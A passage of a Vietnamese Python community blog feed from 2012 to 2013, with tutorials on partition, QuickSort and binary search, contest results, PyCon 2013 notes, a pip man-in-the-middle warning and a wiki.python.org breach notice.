<span class="n">tail</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">pred</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>
<span class="k">return</span> <span class="n">head</span> <span class="o">+</span> <span class="n">tail …</span></pre></div></div></div><div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Chia một mảng ra thành hai cụm: một cụm thỏa điều kiện, và cụm còn lại.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="section" id="su-dung-mang-phu">
<h3>Sử dụng mảng phụ</h3>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">partition</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">pred</span><span class="p">):</span>
<span class="n">head</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">if</span> <span class="n">pred</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>
<span class="n">tail</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">pred</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>
<span class="k">return</span> <span class="n">head</span> <span class="o">+</span> <span class="n">tail</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">head</span><span class="p">)</span>
</pre></div>
</div>
<div class="section" id="khong-dung-mang-phu">
<h3>Không dùng mảng phụ</h3>
<p>Ý tưởng chính là sử dụng một biến phụ chứa vị trí trong mảng A mà nếu phần tử đang xét thỏa điều kiện <strong>sẽ</strong> được chuyển vào.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">partition</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">pred</span><span class="p">):</span>
<span class="n">okay_idx</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
<span class="k">if</span> <span class="n">pred</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="n">a</span><span class="p">[</span><span class="n">okay_idx</span><span class="p">],</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">a</span><span class="p">[</span><span class="n">okay_idx</span><span class="p">]</span> <span class="c1"># swap</span>
<span class="n">okay_idx</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">a</span><span class="p">,</span> <span class="n">okay_idx</span>
</pre></div>
</div>
</div>
<div class="section" id="do-phuc-tap">
<h2>Độ phức tạp</h2>
<dl class="docutils">
<dt>Thời gian chạy</dt>
<dd>O(n)</dd>
<dt>Bộ nhớ cần thiết</dt>
<dd>O(n) nếu sử dụng mảng phụ, hoặc O(1) nếu không</dd>
</dl>
</div>
<div class="section" id="ung-dung">
<h2>Ứng dụng</h2>
<p>Ứng dụng nổi tiếng nhất là thuật toán QuickSort do Tony Hoare sáng tạo ra. Thuật toán QuickSort sắp xếp một mảng với độ phức tạp trung bình là O(n*logn) với n là số lượng phần tử trong mảng. Độ phức tạp trong trường hợp xấu nhất có thể là O(n*n).</p>
<p>Sau đây là một cài đặt dễ hiểu của QuickSort. Cài đặt này chỉ dùng để thể hiện ý tưởng chứ không nên dùng trong các ứng dụng.</p>
<p>Ý tưởng chủ đạo là <strong>lấy ra</strong> một phần tử nào đó trong A (tức là A' chỉ còn N-1 phần tử) gọi là <strong>pivot</strong>, ngăn A' thành hai cụm (một cụm nhỏ hơn pivot, một cụm còn lại). Tiếp tục gọi đệ quy để sắp xếp hai cụm đó và nối chúng lại với nhau thông qua pivot.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">quicksort</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">a</span>
<span class="n">pivot</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">a</span><span class="p">,</span> <span class="n">pivot_idx</span> <span class="o">=</span> <span class="n">partition</span><span class="p">(</span><span class="n">a</span><span class="p">[</span> <span class="p">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="o"><=</span> <span class="n">pivot</span><span class="p">)</span>
<span class="k">return</span> <span class="n">quicksort</span><span class="p">(</span><span class="n">a</span><span class="p">[</span> <span class="p">:</span> <span class="n">pivot_idx</span><span class="p">])</span> <span class="o">+</span> <span class="p">[</span><span class="n">pivot</span><span class="p">]</span> <span class="o">+</span> <span class="n">quicksort</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">pivot_idx</span> <span class="p">:</span> <span class="p">])</span>
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">range</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">permutations</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">quicksort</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="n">a</span>
</pre></div>
</div>
<div class="section" id="bai-toan-mo-rong">
<h2>Bài toán mở rộng</h2>
<ul class="simple">
<li>Cho một mảng số nguyên A. Tìm K phần tử nhỏ nhất trong A.</li>
<li>Cho một mảng số nguyên A và một số nguyên X. Đếm số tập hợp 2-phần-tử trong mảng A có tổng nhỏ hơn hoặc bằng X.</li>
</ul>
<p>Các bạn có thể trao đổi về cách giải bài các bài toán mở rộng này với độ phức tạp trung bình O(n) trong diễn đàn.</p>
</div>
Thuật toán đẹp: Tìm nhị phân2013-12-27T06:13:00+07:002013-12-27T06:13:00+07:00Nguyễn Thành Namtag:None,2013-12-27:2013/12/thuat-toan-dep-tim-nhi-phan.html<div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Tìm phần tử X trong một mảng <strong>đã được sắp xếp</strong>.</p>
</div>
<div class="section" id="y-tuong-chinh">
<h2>Ý tưởng chính</h2>
<p>Chia mảng ra thành 3 cụm: cụm bên trái, phần tử ở giữa, và cụm bên phải. So sánh X với phần tử ở giữa. Nếu X bằng với phần tử ở giữa thì …</p></div><div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Tìm phần tử X trong một mảng <strong>đã được sắp xếp</strong>.</p>
</div>
<div class="section" id="y-tuong-chinh">
<h2>Ý tưởng chính</h2>
<p>Chia mảng ra thành 3 cụm: cụm bên trái, phần tử ở giữa, và cụm bên phải. So sánh X với phần tử ở giữa. Nếu X bằng với phần tử ở giữa thì ta đã tìm được X trong mảng. Nếu X lớn hơn thì tìm X trong cụm bên phải. Nếu X nhỏ hơn thì tìm X trong cụm bên trái.</p>
</div>
<div class="section" id="hieu-qua">
<h2>Hiệu quả</h2>
<dl class="docutils">
<dt>Thời gian thực hiện</dt>
<dd>O(logn)</dd>
<dt>Bộ nhớ cần thiết</dt>
<dd>O(1)</dd>
</dl>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="section" id="cai-dat-de-quy">
<h3>Cài đặt đệ quy</h3>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">bin_search</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">left_idx</span><span class="p">,</span> <span class="n">right_idx</span><span class="p">):</span>
<span class="k">if</span> <span class="n">left_idx</span> <span class="o">></span> <span class="n">right_idx</span><span class="p">:</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span>
<span class="n">mid_idx</span> <span class="o">=</span> <span class="n">left_idx</span> <span class="o">+</span> <span class="p">(</span><span class="n">right_idx</span> <span class="o">-</span> <span class="n">left_idx</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
<span class="n">mid</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="n">mid_idx</span><span class="p">]</span>
<span class="k">if</span> <span class="n">x</span> <span class="o">==</span> <span class="n">mid</span><span class="p">:</span>
<span class="k">return</span> <span class="n">mid_idx</span>
<span class="k">elif</span> <span class="n">x</span> <span class="o"><</span> <span class="n">mid</span><span class="p">:</span>
<span class="k">return</span> <span class="n">bin_search</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">left_idx</span><span class="p">,</span> <span class="n">mid_idx</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">bin_search</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">mid_idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">right_idx</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">bin_search</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">assert</span> <span class="n">bin_search</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span>
<span class="k">assert</span> <span class="n">bin_search</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">assert</span> <span class="n">bin_search</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>
<span class="k">assert</span> <span class="n">bin_search</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span>
</pre></div>
</div>
<div class="section" id="cai-dat-vong-lap">
<h3>Cài đặt vòng lặp</h3>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">bin_search</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">left_idx</span><span class="p">,</span> <span class="n">right_idx</span><span class="p">):</span>
<span class="k">while</span> <span class="n">left_idx</span> <span class="o"><=</span> <span class="n">right_idx</span><span class="p">:</span>
<span class="n">mid_idx</span> <span class="o">=</span> <span class="n">left_idx</span> <span class="o">+</span> <span class="p">(</span><span class="n">right_idx</span> <span class="o">-</span> <span class="n">left_idx</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
<span class="n">mid</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="n">mid_idx</span><span class="p">]</span>
<span class="k">if</span> <span class="n">mid</span> <span class="o">==</span> <span class="n">x</span><span class="p">:</span>
<span class="k">return</span> <span class="n">mid_idx</span>
<span class="k">elif</span> <span class="n">x</span> <span class="o"><</span> <span class="n">mid</span><span class="p">:</span>
<span class="n">right_idx</span> <span class="o">=</span> <span class="n">mid_idx</span> <span class="o">-</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">left_idx</span> <span class="o">=</span> <span class="n">mid_idx</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span>
</pre></div>
</div>
</div>
<div class="section" id="tham-khao-them">
<h2>Tham khảo thêm</h2>
<p>Mô-đun <strong>bisect</strong> trong thư viện chuẩn của Python.</p>
</div>
<div class="section" id="mot-so-bai-toan-mo-rong">
<h2>Một số bài toán mở rộng</h2>
<ul class="simple">
<li>Mảng đã được sắp xếp nhưng đã bị xoay vòng (ví dụ [4, 5, 6, 7, 1, 2, 3]).</li>
<li>Mảng 2 chiều đã được sắp xếp theo dòng, và cột (a[i][j] < a[i + 1][j] và a[i][j] < a[i][j + 1]).</li>
</ul>
<p>Các bạn có thể trao đổi ý tưởng giải quyết các bài toán mở rộng này trong diễn đàn.</p>
</div>
Kết quả cuộc thi giải toán lần II2013-04-18T16:29:00+07:002013-04-18T16:29:00+07:00Nhóm PCNVtag:None,2013-04-18:2013/04/ket-qua-cuoc-thi-giai-toan-lan-ii.html<p>Cảm ơn sự hưởng ứng nhiệt tình của các bạn với cuộc thi giải toán lần II của PCNV.</p>
<p>Lần này nhóm nhận được sự sự tham gia của năm bạn Phạm Ngọc Quang Nam, Nguyễn Văn Nam, Vũ Khuê, Hoàng Quốc Thịnh, và Đậu Duy Khánh.</p>
<p>Bài của bạn …</p><p>Cảm ơn sự hưởng ứng nhiệt tình của các bạn với cuộc thi giải toán lần II của PCNV.</p>
<p>Lần này nhóm nhận được sự sự tham gia của năm bạn Phạm Ngọc Quang Nam, Nguyễn Văn Nam, Vũ Khuê, Hoàng Quốc Thịnh, và Đậu Duy Khánh.</p>
<p>Bài của bạn Thịnh:</p>
<pre class="literal-block">
09:03:48 ~/tmp/pell2$ python3.3 thinhhq.py | python timer.py > thinhhq.txt
09:04:22 ~/tmp/pell2$ python checker.py < thinhhq.txt
Max 448985
09:04:30 ~/tmp/pell2$ python3.3 thinhhq.py | python timer.py > thinhhq.txt2
09:05:04 ~/tmp/pell2$ python checker.py < thinhhq.txt2
Max 449905
09:05:08 ~/tmp/pell2$ python3.3 thinhhq.py | python timer.py > thinhhq.txt3
09:05:39 ~/tmp/pell2$ python checker.py < thinhhq.txt3
Max 449421
</pre>
<p>Bài của bạn Văn Nam:</p>
<pre class="literal-block">
09:05:46 ~/tmp/pell2$ python3.3 namnv.py | python timer.py > namnv.txt
09:07:12 ~/tmp/pell2$ python checker.py < namnv.txt
Max 1394855
09:07:28 ~/tmp/pell2$ python3.3 namnv.py | python timer.py > namnv.txt2
09:07:47 ~/tmp/pell2$ python checker.py < namnv.txt2
Max 1394855
09:08:00 ~/tmp/pell2$ python3.3 namnv.py | python timer.py > namnv.txt3
09:08:19 ~/tmp/pell2$ python checker.py < namnv.txt3
Max 1394855
</pre>
<p>Bài của bạn Khanh:</p>
<pre class="literal-block">
09:12:49 ~/tmp/pell2$ python3.3 khanhdd.py | python timer.py > khanhdd.txt
Traceback (most recent call last):
File "khanhdd.py", line 13, in <module>
print (a1,' ',b1)
BrokenPipeError: [Errno 32] Broken pipe
09:13:27 ~/tmp/pell2$ python checker.py < khanhdd.txt
ERROR:root:Format
Traceback (most recent call last):
File "checker.py", line 16, in <module>
n, k = map(long, line.split())
ValueError: too many values to unpack
</pre>
<p>Bài của bạn Khuê:</p>
<pre class="literal-block">
09:14:37 ~/tmp/pell2$ python3.3 khuev.py | python timer.py > khuev.txt
File "khuev.py", line 35
print "n: %d - k: %d" % (-b / 2, k)
^
SyntaxError: invalid syntax
</pre>
<p>Bài của bạn Quang Nam:</p>
<pre class="literal-block">
09:15:19 ~/tmp/pell2$ python3.3 nampnq.py | python timer.py > nampnq.txt
File "nampnq.py", line 5
print "n=%d, k=%d" % (n,k)
^
SyntaxError: invalid syntax
</pre>
<p>Mã nguồn và bản lưu kết quả của cuộc thi có thể được tải về từ <a class="reference external" href="https://docs.google.com/file/d/0B5X03CmpgiFeMkNubXlGNFlCMjQ/edit?usp=sharing">https://docs.google.com/file/d/0B5X03CmpgiFeMkNubXlGNFlCMjQ/edit?usp=sharing</a>.</p>
<p>Như vậy, bạn Văn Nam đã thắng giải kỳ này. Xin chúc mừng bạn Văn Nam.</p>
<p>Bạn Văn Nam gửi thư cho admin@ cho biết mẫu áo bạn chọn, và thông tin bưu điện để nhóm PCNV có thể gửi áo cho bạn.</p>
Cuộc thi giải toán bằng Python2013-03-31T02:18:00+07:002013-03-31T02:18:00+07:00Nhóm PCNVtag:None,2013-03-31:2013/03/cuoc-thi-giai-toan-bang-python.html<p>Trong lần thi trước (<a class="reference external" href="http://www.vithon.org/2010/05/24/phat-d%E1%BB%99ng-cu%E1%BB%99c-thi-gi%E1%BA%A3i-toan-b%E1%BA%B1ng-python">http://www.vithon.org/2010/05/24/phat-d%E1%BB%99ng-cu%E1%BB%99c-thi-gi%E1%BA%A3i-toan-b%E1%BA%B1ng-python</a>), chúng ta đánh giá chương trình dựa trên số lượng cặp N, K tìm được.</p>
<p>Tiêu chí của lần thi này là in ra cặp số …</p><p>Trong lần thi trước (<a class="reference external" href="http://www.vithon.org/2010/05/24/phat-d%E1%BB%99ng-cu%E1%BB%99c-thi-gi%E1%BA%A3i-toan-b%E1%BA%B1ng-python">http://www.vithon.org/2010/05/24/phat-d%E1%BB%99ng-cu%E1%BB%99c-thi-gi%E1%BA%A3i-toan-b%E1%BA%B1ng-python</a>), chúng ta đánh giá chương trình dựa trên số lượng cặp N, K tìm được.</p>
<p>Tiêu chí của lần thi này là in ra cặp số N, K <strong>lớn nhất</strong> có thể tìm được trong 30 giây. Cặp số cuối cùng được in ra trong 30 giây sẽ được xem là cặp số lớn nhất và dùng để đánh giá các chương trình với nhau.</p>
<p>Giải thưởng của kỳ thi lần này sẽ là một áo thun do bạn Nguyễn Thành Nam đã tặng nhóm PCNV trong lần đi PyCon vừa qua. Các bạn có thể xem qua các áo giải thưởng (trừ EdX cỡ L, các áo khác cỡ M, chỉ được chọn 1) ở URL sau:</p>
<p><a class="reference external" href="https://drive.google.com/folderview?id=0B5X03CmpgiFeNzNJN09qZnd2Sk0&usp=sharing">https://drive.google.com/folderview?id=0B5X03CmpgiFeNzNJN09qZnd2Sk0&usp=sharing</a></p>
<p>Các bài tham dự gửi bằng thư điện tử về cho admin@ hạn chót trong <strong>ngày 14 tháng 04 năm 2013</strong>. Nhằm khuyến khích việc sử dụng Python 3, các bài tham gia kỳ thi này sẽ được <strong>chấm trên Python 3.3</strong>. Mòng các bạn chú ý yêu cầu này.</p>
<p>Quyết định của người chấm là cuối cùng. Xin miễn nhận khiếu nại.</p>
Ghi nhớ về PyCon 20132013-03-18T06:01:00+07:002013-03-18T06:01:00+07:00Nhóm PCNVtag:None,2013-03-18:2013/03/ghi-nho-ve-pycon-2013.html<p>Hội thảo PyCon 2013 vừa kết thúc vào Chủ Nhật, ngày 18 tháng 03 năm 2013 vừa rồi tại Trung tâm Hội nghị Santa Clara, bang California, Mỹ.</p>
<p>Hội thảo lần này diễn ra vào các ngày thứ sáu, thứ bảy, và Chủ Nhật với khoảng 100 bài tham luận …</p><p>Hội thảo PyCon 2013 vừa kết thúc vào Chủ Nhật, ngày 18 tháng 03 năm 2013 vừa rồi tại Trung tâm Hội nghị Santa Clara, bang California, Mỹ.</p>
<p>Hội thảo lần này diễn ra vào các ngày thứ sáu, thứ bảy, và Chủ Nhật với khoảng 100 bài tham luận và 2500 người tham dự đến từ tất cả các châu lục trên trái đất. Trong đó, khoảng 20% là nữ giới!</p>
<p>Nhóm PCNV có một thành viên tham gia hội thảo lần này, và họ có một số nhận xét chính như sau:</p>
<ol class="arabic simple">
<li>Hội thảo có nhiều chuyên mục phù hợp với mọi lứa tuổi, mọi ngành nghề, mọi giới tính. Có cả những em thiếu niên khoảng 10 đến 12 tuổi tham gia hội thảo. Một số các em đã biết Python còn đứng lớp chỉ dạy Python cho các em khác. Thậm chí có một số em đã trình bày sản phẩm của chính mình trong phân mục tự giới thiệu (poster session), cùng với gần trăm sản phẩm khác từ các công ty lớn cũng như các chuyên gia trong ngành. Nữ giới chiếm gần 20% người tham gia hội thảo. Một số cá nhân trên 60 tuổi cũng thấy xuất hiện tại hội thảo. Thậm chí cả người chuyển đổi giới tính cũng có mặt! Có thể khẳng định chắc chắn rằng Python thu hút được sự quan tâm của tất cả mọi người.</li>
<li>Hội thảo năm nay có sự xuất hiện của nhiều nhóm nữ giới như CodeChix, WomanWhoCode, PyLadies, LadyCoders. Đây là một tín hiệu đáng mừng. So với các ngôn ngữ lập trình đa dụng khác, có lẽ Python là ngôn ngữ thu hút nữ giới nhiều nhất!</li>
<li>Hội thảo năm nay có một sự ngạc nhiên thú vị. Mỗi cá nhân tham dự hội thảo được tặng một thiết bị Rasberry Pi miễn phí! Điều này cho thấy Python có một vị trí quan trọng trong thị trường phần cứng nghiệp dư, kinh tế. Trong hội thảo cũng thiết lập một "Phòng nghiên cứu Rasberry Pi" để hướng dẫn cách cài đặt và sử dụng thiết bị đó.</li>
<li>Các bài tham luận chớp nhoáng (lightning talks) cho thấy Python có khả năng ứng dụng rộng rãi và đáng ngạc nhiên. Một số ví dụ điển hình như sử dụng Python để điều khiển hệ thống đèn LED nhấp nháy, sử dụng Python trên các hệ máy Atari, sử dụng Python để thông dịch và gỡ rối mã Lisp/Scheme.</li>
<li>Lập trình viên Python có khả năng Rap không thua kém các ca sĩ chuyên nghiệp! Đoạn phim bên dưới quay lại cảnh Larry Hastings, thành viên nòng cốt trong nhóm phát triển Python, hát bài rap tự chế trước phiên tham luận chớp nhoáng.</li>
</ol>
<p><a class="reference external" href="http://youtu.be/rKiySLUrYQ8">http://youtu.be/rKiySLUrYQ8</a></p>
<ol class="arabic simple" start="6">
<li>Bạn Nguyễn Thành Nam có mặt tại hội thảo đã chụp tấm hình tự sướng này.</li>
</ol>
<p><a class="reference external" href="https://docs.google.com/file/d/0B5X03CmpgiFeb3pfMTlIVlBCQ3M/edit?usp=sharing">https://docs.google.com/file/d/0B5X03CmpgiFeb3pfMTlIVlBCQ3M/edit?usp=sharing</a></p>
<p>Bạn Nam cũng đã ủng hộ một số món quà nhỏ cho nhóm PCNV dùng để khuyến khích các bạn đã có bài viết đóng góp cho nhóm. Nhóm PCNV sẽ gửi trực tiếp cho các bạn.</p>
Cảnh báo: Cẩn thận khi sử dụng pip trong mạng2013-02-03T19:37:00+07:002013-02-03T19:37:00+07:00Nhóm PCNVtag:None,2013-02-03:2013/02/canh-bao-can-than-khi-su-dung-pip-trong-mang.html<p>Pip (<a class="reference external" href="http://pypi.python.org/pypi/pip">http://pypi.python.org/pypi/pip</a>), cũng như một số các công cụ sử dụng mô-đun có sẵn <tt class="docutils literal">urllib</tt>, <tt class="docutils literal">urllib2</tt>, <tt class="docutils literal">httplib</tt>, có thể bị tấn công kẻ ở giữa (man-in-the-middle) và làm thay đổi nội dung của gói tin nhận được.</p>
<p>Lý do là khi truy cập vào một …</p><p>Pip (<a class="reference external" href="http://pypi.python.org/pypi/pip">http://pypi.python.org/pypi/pip</a>), cũng như một số các công cụ sử dụng mô-đun có sẵn <tt class="docutils literal">urllib</tt>, <tt class="docutils literal">urllib2</tt>, <tt class="docutils literal">httplib</tt>, có thể bị tấn công kẻ ở giữa (man-in-the-middle) và làm thay đổi nội dung của gói tin nhận được.</p>
<p>Lý do là khi truy cập vào một địa chỉ HTTPS hoặc các giao thức SSL/TLS, các mô-đun có sẵn này không kiểm tra chứng từ (certificate) của máy chủ để xác nhận máy chủ đó đúng là máy chủ chương trình cần truy cập. Điều này cho phép một kẻ thứ ba giả dạng máy chủ và thay đổi nội dung gói tin yêu cầu cũng như trả lời.</p>
<p>Do đó, người sử dụng cần cẩn trọng khi sử dụng các công cụ như <tt class="docutils literal">pip</tt> trong một mạng không an toàn.</p>
<p>Thông tin thêm có thể được tham khảo tại:</p>
<p><a class="reference external" href="http://www.reddit.com/r/Python/comments/17rfh7/warning_dont_use_pip_in_an_untrusted_network_a/">http://www.reddit.com/r/Python/comments/17rfh7/warning_dont_use_pip_in_an_untrusted_network_a/</a></p>
<p>Kể từ Python 3.2, các mô-đun có sẵn liên quan đến SSL/TLS đã có thêm chức năng kiểm tra chứng từ nhưng chức năng này phải được tự kích hoạt.</p>
Chương trình PyCon US 20132013-01-18T16:04:00+07:002013-01-18T16:04:00+07:00Nhóm PCNVtag:None,2013-01-18:2013/01/chuong-trinh-pycon-us-2013.html<p>Chương trình hội thảo PyCon năm nay đã được công bố vào bốn ngày trước.</p>
<p><a class="reference external" href="https://us.pycon.org/2013/schedule/">https://us.pycon.org/2013/schedule/</a></p>
<p>Sau nhiều tuần đánh giá các bài tham luận, chương trình của hội thảo cuối cùng đã được thống nhất. Năm nay số lượng người tham dự tăng đột …</p><p>Chương trình hội thảo PyCon năm nay đã được công bố vào bốn ngày trước.</p>
<p><a class="reference external" href="https://us.pycon.org/2013/schedule/">https://us.pycon.org/2013/schedule/</a></p>
<p>Sau nhiều tuần đánh giá các bài tham luận, chương trình của hội thảo cuối cùng đã được thống nhất. Năm nay số lượng người tham dự tăng đột ngột và 1000 vé bán trước (early bird) đã không còn nữa. Tổng lượng vé bán ra được giới hạn ở mức 2500 vé. Nếu bạn muốn tham dự hội thảo, bạn cần phải <a class="reference external" href="https://us.pycon.org/2013/registration/">mua vé</a> <strong>ngay bây giờ</strong>. Hội thảo bắt đầu <strong>từ ngày 13 đến ngày 21 tháng 03</strong>.</p>
<p>So với năm ngoái, hội thảo năm nay có thêm một chuyên mục thứ sáu, nâng tổng số bài tham luận lên 114 bài. Các bài điểm của hội thảo sẽ được trình bày bởi những nhân vật tên tuổi như Eben Upton, Jessica McKellar, Raymond Hettinger, và Guido van Rossum.</p>
<p>PS: Nếu không có điều kiện tham dự hội thảo, các bạn cũng có thể xem phim quay lại tại <a class="reference external" href="http://pyvideo.org">http://pyvideo.org</a>.</p>
wiki.python.org bị tấn công2013-01-08T17:54:00+07:002013-01-08T17:54:00+07:00Nhóm PCNVtag:None,2013-01-08:2013/01/wikipythonorg-bi-tan-cong.html<p>Brian Curtin vừa gửi thông báo trên hộp thư chung <strong>python-dev</strong> với nội dung như sau:</p>
<blockquote>
Vào ngày 28 tháng 12, một cá nhân chưa xác định được đã sử dụng một lỗi chưa công bố để tấn công <a class="reference external" href="http://wiki.python.org">http://wiki.python.org</a>. Cá nhân này đã lấy được quyền …</blockquote><p>Brian Curtin vừa gửi thông báo trên hộp thư chung <strong>python-dev</strong> với nội dung như sau:</p>
<blockquote>
Vào ngày 28 tháng 12, một cá nhân chưa xác định được đã sử dụng một lỗi chưa công bố để tấn công <a class="reference external" href="http://wiki.python.org">http://wiki.python.org</a>. Cá nhân này đã lấy được quyền truy cập như người dùng <strong>moin</strong> trên máy chủ, nhưng các dịch vụ khác vẫn chưa bị ảnh hưởng.</blockquote>
<p>Mọi dữ liệu cá nhân cũng như mật khẩu tại <a class="reference external" href="http://wiki.python.org">http://wiki.python.org</a> xem như đã nằm trong tay kẻ xấu. Nếu bạn có truy cập và tạo tài khoản trên trang <a class="reference external" href="http://wiki.python.org">http://wiki.python.org</a> và sử dụng cùng mật khẩu ở các trang mạng khác thì hãy đổi ngay mật khẩu ở các trang mạng khác đó.</p>
<p>Thông tin cập nhật sẽ được Brian Curtin gửi trên <strong>python-dev</strong>.</p>
Truy vấn triệu bản ghi với MySQL2012-07-25T04:56:00+07:002012-07-25T04:56:00+07:00Nguyễn Thành Namtag:None,2012-07-25:2012/07/truy-van-trieu-ban-ghi-voi-mysql.html<p>Trong <a class="reference external" href="http://www.vithon.org/2010/05/31/mysqldb-thi%E1%BA%BFt-l%E1%BA%ADp-k%E1%BA%BFt-n%E1%BB%91i">bài viết của bạn Phạm Thị Minh Hoài</a>, chúng ta đã được hướng dẫn cách truy vấn MySQL với DB-API của Python. Phần này chúng ta sẽ bàn về một số điểm cần chú ý nếu câu truy vấn của chúng ta trả về một lượng lớn bản ghi …</p><p>Trong <a class="reference external" href="http://www.vithon.org/2010/05/31/mysqldb-thi%E1%BA%BFt-l%E1%BA%ADp-k%E1%BA%BFt-n%E1%BB%91i">bài viết của bạn Phạm Thị Minh Hoài</a>, chúng ta đã được hướng dẫn cách truy vấn MySQL với DB-API của Python. Phần này chúng ta sẽ bàn về một số điểm cần chú ý nếu câu truy vấn của chúng ta trả về một lượng lớn bản ghi từ MySQL.</p>
<div class="section" id="het-bo-nho">
<h2>Hết bộ nhớ</h2>
<div class="section" id="van-de">
<h3>Vấn đề</h3>
<p>Một câu truy vấn có thể trả về một lượng dữ liệu khổng lồ. Ví dụ câu truy vấn <strong>SELECT * FROM users</strong> có thể trả về hơn chục triệu bản ghi ở các ứng dụng lớn. Trong điều kiện bình thường, có lẽ lượng bản ghi lớn như vậy sẽ khiến cho chương trình của chúng ta sử dụng hết bộ nhớ và bị buộc phải chấm dứt giữa chừng, cho dù chúng ta có sử dụng <strong>fetchone</strong>, <strong>fetchmany</strong> hay <strong>fetchall</strong> để lấy dữ liệu.</p>
